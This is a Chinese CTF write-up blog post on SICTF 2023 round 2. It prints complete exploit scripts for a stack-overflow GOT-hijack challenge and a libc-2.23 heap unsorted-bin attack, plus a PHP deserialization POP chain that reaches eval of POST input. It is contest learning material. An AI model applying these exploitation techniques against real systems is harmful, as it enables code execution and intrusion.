Fork me on GitHub

SICTF-2023 round2

前言

又是挺长一段时间没有打ctf了,各种原因,要过一段时间才会继续上强度学安全吧QAQ。这个SICTF是被朋友拉过来打的,看了一下,还是挺有意思的。下面记录下题目,以及复习到的一些知识点吧。笔者真的是脑子不好使了

签到Shop

很简单的签到题目,算是一个整型溢出的类型。

Different_gadget

明显的栈溢出,利用read函数结束残留的寄存器状态,输入栈上的libc地址

image-20230910121051766

第一次输入的时候写入‘/bin/sh’字符串,再利用init函数中的setbuf,劫持got表,修改setbuf函数为system函数,leave_ret 指令迁移栈,执行构造的后门函数

image-20230910121401086

其中注意init函数执行的时候,要注意新开辟的栈地址可写。exp如下

from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./111"
remote_libc = ""
ip_port = "210.44.151.51:10304"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)

debug(p,'no-tmux',0x00000000004011F3)
# padding = b"/bin/sh\x00" + p64(0x40117E) + b"/bin/sh\x00"
padding = b"/bin/sh\x00" + p64(0x40117E)+ b"/bin/sh\x00"
write = 0x00000000004011CE
rbp = 0x000000000040115d
read = 0x00000000004011DD
ru("Hello!!!")
# payload1 = flat([padding,b'/bin/sh\x00',0x404040,write])
payload1 = flat({
	0x0:[padding,b"deadbeef",0x404040,write,0,0,0,0,0,0,b'/bin/sh\x00']
	},length = (0xb0-1),filler = b"\x00")
# payload1 = flat([b'/bin/sh\x00',padding,0x404020 + 0x20,write])
sl(payload1)
info1 = recv_libc()
info2 = recv_libc()
# info3 = recv_libc()
# info4 = recv_libc()
# info5 = recv_libc()
# info6 = recv_libc()
binsh = info2 - 0x148
print(hex(binsh))
libc_base = info1 -0x29e40
print(hex(libc_base))
rbp = 0x000000000040115d
rsp = 0x0401208
leave_ret = 0x00000000004011fd
ret = 0x000000000040101a
# system = libc_base + search_og(1)
system = libc_base + libc.sym.system + 4
read = libc_base + libc.sym.read
stdin = libc_base + libc.sym._IO_2_1_stdin_
payload2 = flat([system,read,0,0,binsh+0x60,rsp,stdin,rbp,binsh,leave_ret])
# pause()
sl(payload2)

itr()

image-20230910122400650

baby_heap

怎么说这道题目呢,感觉不是那么难,但是还是被卡住了。关键还是笔者铸币,一直想着怎么用orange来打这道题目,忽视了unsortedbin 和spirit的结合利用,chunk_size段和chunk_ptr段前后相连还是能轻松构造出指定size的chunk。回归题目,先看一眼题目的逻辑。常规的增改查函数,没有删除函数

  • add ----最多申请32chunk,申请size最大不超过0x1000字节。

image-20230911183310623

  • change ----修改chunk中的内容,修改的size大小不限制,可以溢出。

image-20230911183419372

  • show ----仅显示chunk中的前8字节内容,也就是这个地方无法泄露heap段地址,把orange的路堵上了。

image-20230911183501234

主要思路:

  • 先随意申请16个chunk,再申请0x111和0x1大小的两个chunk,构造chunk size段的fake size。
  • 再修改top chunk前一个chunk(A),溢出篡改top chunk的size(注意页对齐)。
  • 申请字节大于top chunk size将top chunk放入unsorted bin中。
  • 再次修改chunk A,溢出窜改top chunk 的bk字段为chunk_ptr-0x18的位置。
  • 申请0x100大小的chunk,获取存储chunk指针段地址的write权限意会一下,不知道怎么表达更清楚一些。
  • 后面就是常规的修改chunk指针为got表来泄露libc,打ogg。

exp如下:

from pwncy import *
context(log_level = "debug",arch = "amd64")
filename = "./baby_heap"
remote_libc = "./libc-2.23.so"
ip_port = "210.44.151.51:10304"
p,elf,libc = load(filename,remote_libc = remote_libc,ip_port = ip_port)

def cmd(choice):
	sla(">\n",str(choice))

def add(size,content):
	cmd(1)
	sla("Size :\n",str(size))
	sa("Content :\n",content)

def change(index,content):
	cmd(2)
	sla("Index :\n",str(index))
	sla("Size :\n",str(len(content)))
	sa("Content :\n",content)

def show(index):
	cmd(3)
	sla("Index :\n",str(index))

debug(p,'no-tmux',0x00000000004014AA)

chunk_ptr = 0x4040E0
fake_chunk = chunk_ptr - 0x18

for i in range(16):
    add(0x100,b"a")

add(0x111,b"a") #chunk 16
add(0x1,b"a") #chunk 17

change(17,flat([0,0,0,0xdc1]))
add(0x1000,b"a")
pause()
change(17,flat([0,0,0,0x141,b"deadbeef",fake_chunk]))
add(0x100,flat([0,elf.got.malloc]))
show(0)
libc.address = recv_libc() - libc.sym.malloc
one = libc.address + search_og(3)
# one = libc.address + 0xf1247 #0xf1147 0xf0897 0xef9f4
change(0,flat([one]))
cmd(1)
pause()
sl(b"0x80")
itr()

image-20230911183909353

  • 总结
  • heap题目中没有给free的题目,多半是要用orange的技巧,通过申请超过top chunk size来将top chunk 放入unsorted bin中。
  • unsorted bin不仅仅是只有篡改target->fd为arena的地址,也能像tcache中的TSU++技巧一样,把伪造的chunk链入bin中再申请出来
  • 注意bss段上存储的chunk size字段,可以构造size来做一个fake chunk。本题有一个关键点就是存储的chunk size都是逐字节存入的,多出来的字节会被直接截断,另外任意大小chunk的申请方式让我们能够轻松构造出想要的fake size。
  • 参考文章

[SICTF 2023 #Round2] Crypto,PWN,Reverse_石氏是时试的博客-CSDN博客

我全都要

一道简单的php反序列化。

<?php
highlight_file(__FILE__);

class B{
    public $pop;
    public $i;
    public $nogame;

    public function __destruct()
    {
        if(preg_match("/233333333/",$this->pop)){
            echo "这是一道签到题,不能让新生一直做不出来遭受打击";
        }
    }

    public function game(){
        echo "扣1送地狱火";
        if ($this->i = "1"){
            echo '<img src=\'R.jpg\'>';
            $this->nogame->love();
        }
    }

    public function __clone(){
        echo "必须执行";
        eval($_POST["cmd"]);
    }
}


class A{
    public $Aec;
    public $girl;
    public $boy;

    public function __toString()
    {
        echo "I also want to fall in love";
        if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
            $this->Aec->game();
        }
    }


}


class P{
    public $MyLover;
    public function __call($name, $arguments)
    {
        echo "有对象我会在这打CTF???看我克隆一个对象!";
        if ($name != "game") {
            echo "打游戏去,别想着对象了";
            $this->MyLover = clone new B;
        }
    }


}


if ($_GET["A_B_C"]){
    $poc=$_GET["A_B_C"];
    unserialize($poc);
}

要rce,需要执行B类中的clone魔术方法,需要用到P类中的call进行调用。那么调用call魔术方法就需要引用P类里面的方法名不为game,因此需要嵌套B类中的game方法来执行nogame。能够调用game方法的仅有A中的toString,所以需要B类中的destruct进行正则匹配,将对象转化为字符串来触发toString函数。

序列化poc如下,另外cmd参数post传命令,即可获得flag

$P = new P();
$B2 = new B();
$B2->i = "1";
$B2->nogame = $P;
$A = new A();
$A->girl = 'QNKCDZO';
$A->boy = 's878926199a';
$A->Aec = $B2;
$B = new B();
$B->pop = $A;

echo serialize($B);

执行命令,根目录下获得flag

image-20230910122256132

posted @ 2023-09-11 18:56  Tw0^Y  阅读(268)  评论(1编辑  收藏  举报